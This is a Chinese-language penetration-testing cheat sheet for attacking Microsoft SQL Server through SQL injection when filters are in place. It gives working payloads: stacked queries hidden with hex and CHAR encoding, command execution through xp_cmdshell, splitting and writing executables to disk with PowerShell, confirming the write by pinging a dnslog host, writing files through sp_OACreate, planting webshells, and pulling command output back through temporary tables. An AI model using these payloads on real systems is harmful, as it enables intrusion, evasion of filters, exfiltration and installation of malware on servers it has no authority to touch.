苛刻环境下mssql注入

前提是bda权限或者是dbo权限

绕过

支持堆叠的情况下支持declare就可以基本绕过,execute或者exec函数禁用可以通过ex1ecute绕过

1
2
3
select * from admin where id =1;declare @s varchar(2000) set @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 exec(@s)--

select * from admin where id =1;declare @s varchar(2000) set @s= CHAR(115) + CHAR(101) + CHAR(108) + CHAR(101) + CHAR(99) + CHAR(116) + CHAR(32) + CHAR(99) + CHAR(111) + CHAR(110) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(116) + CHAR(40) + CHAR(105) + CHAR(110) + CHAR(116) + CHAR(44) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110) + CHAR(41) exec(@s)--

写文件姿势

出网—-echo
出NDS—-压缩形式分片上传,或者certutil工具编码写dll

  1. echo
  2. 出DNS时写马
    1、makecab压缩 makecab httptest.exe httptest.zip
    解压expand
    2、kali base64 -w 4000 或者脚本分割
    3、替换文+为%2b
    4、burp单线程跑
    1
    powershell -c "\"§-----BEGIN CERTIFICATE-----`nTVqQAAMAAAAEAAAA//8AALgA(base64内容)n/§\" | Out-File C:\\Windows\\Temp\\chrome_installers.log -Append"
    5、判断文件是否成功写入
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    1';exec+xp_cmdshell+'for+%i+in+(C%3a\\Windows\\Temp\\test.zip)+do+ping+-n+1+%~zi.wwc6fh.dnslog.cn'--+a


    %zn
    z 大小
    n 文件个数

    语法:
    for /f “选项” %变量 in ( “字符串”-集 /文件名-集/ ‘命令'-集 ) do 命令
    读取文件内容:
    for /F %i in (c:\windows\tasks\1.txt) do echo %i
    执行命令,并读取结果:
    FOR /F "USEBACKQ" %d IN (`dir`) DO @ECHO %d
    读取目录名称:
    FOR /F "USEBACKQ delims=<DIR> tokens=2" %i in (`dir c:\windows\tasks`) do @ECHO %i
    FOR /F "USEBACKQ" %i in (`dir /b c:\windows\tasks`) do @ECHO %i [更好]
    读取文件名:
    FOR /F "USEBACKQ tokens=4 delims= " %c in (`dir c:\windows\tasks`) do @ECHO %c
    这里使用了 usebackq 参数,令执行命令用`包裹。
  3. 利用存储过程
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    declare @FilePath nvarchar(400),@xmlstr varchar(8000);
    Declare @INT_ERR int;
    Declare @INT_FSO int;
    Declare @INT_OPENFILE int;
    Declare @STR_CONTENT as varchar(MAX);
    DECLARE @output varchar(255);
    DECLARE @hr int;
    DECLARE @source varchar(255);
    DECLARE @description varchar(255);
    set @FilePath = 'c:/windows/tasks/111.ps1';
    set @STR_CONTENT = convert(varchar(MAX),0x313233);
    EXEC @INT_ERR = sp_OACreate 'Scripting.FileSystemObject', @INT_FSO OUTPUT;
    if(@INT_ERR <> 0) BEGIN EXEC sp_OAGetErrorInfo @INT_FSO RETURN END;
    EXEC @INT_ERR=SP_OAMETHOD @INT_FSO,'CreateTextFile',@INT_OPENFILE OUTPUT,@FilePath;
    EXEC @INT_ERR=SP_OAMETHOD @INT_OPENFILE,'Write',null,@STR_CONTENT;
    EXEC @INT_ERR=SP_OADESTROY @INT_OPENFILE;

    不是站库分离的情况

写webshell就可以了

  • 绝对路径
  1. 报错

  2. 创建临时表,插入查询结果

    1
    2
    3
    1';CREATE TABLE tt_tmp (tmp1 varchar(8000));--
    insert into tt_tmp(tmp1) exec master..xp_cmdshell 'for /r c:\ %i in (ajax.asp) do @echo %i ';--+
    报错 ' and 1=(select top 1 tmp1 from tt_tmp)and 'a'='a

    站库分离的情况

  3. 出http或者dns时上面写文件方式写文件

  4. 不出网无回显带出命令执行结果

    1
    2
    3
    create TABLE output([output][varchar](1000),ID int NOT NULL IDENTITY (1,1));
    insert output exec master.dbo.xp_cmdshell 'dir c:';
    select output from output where id=1;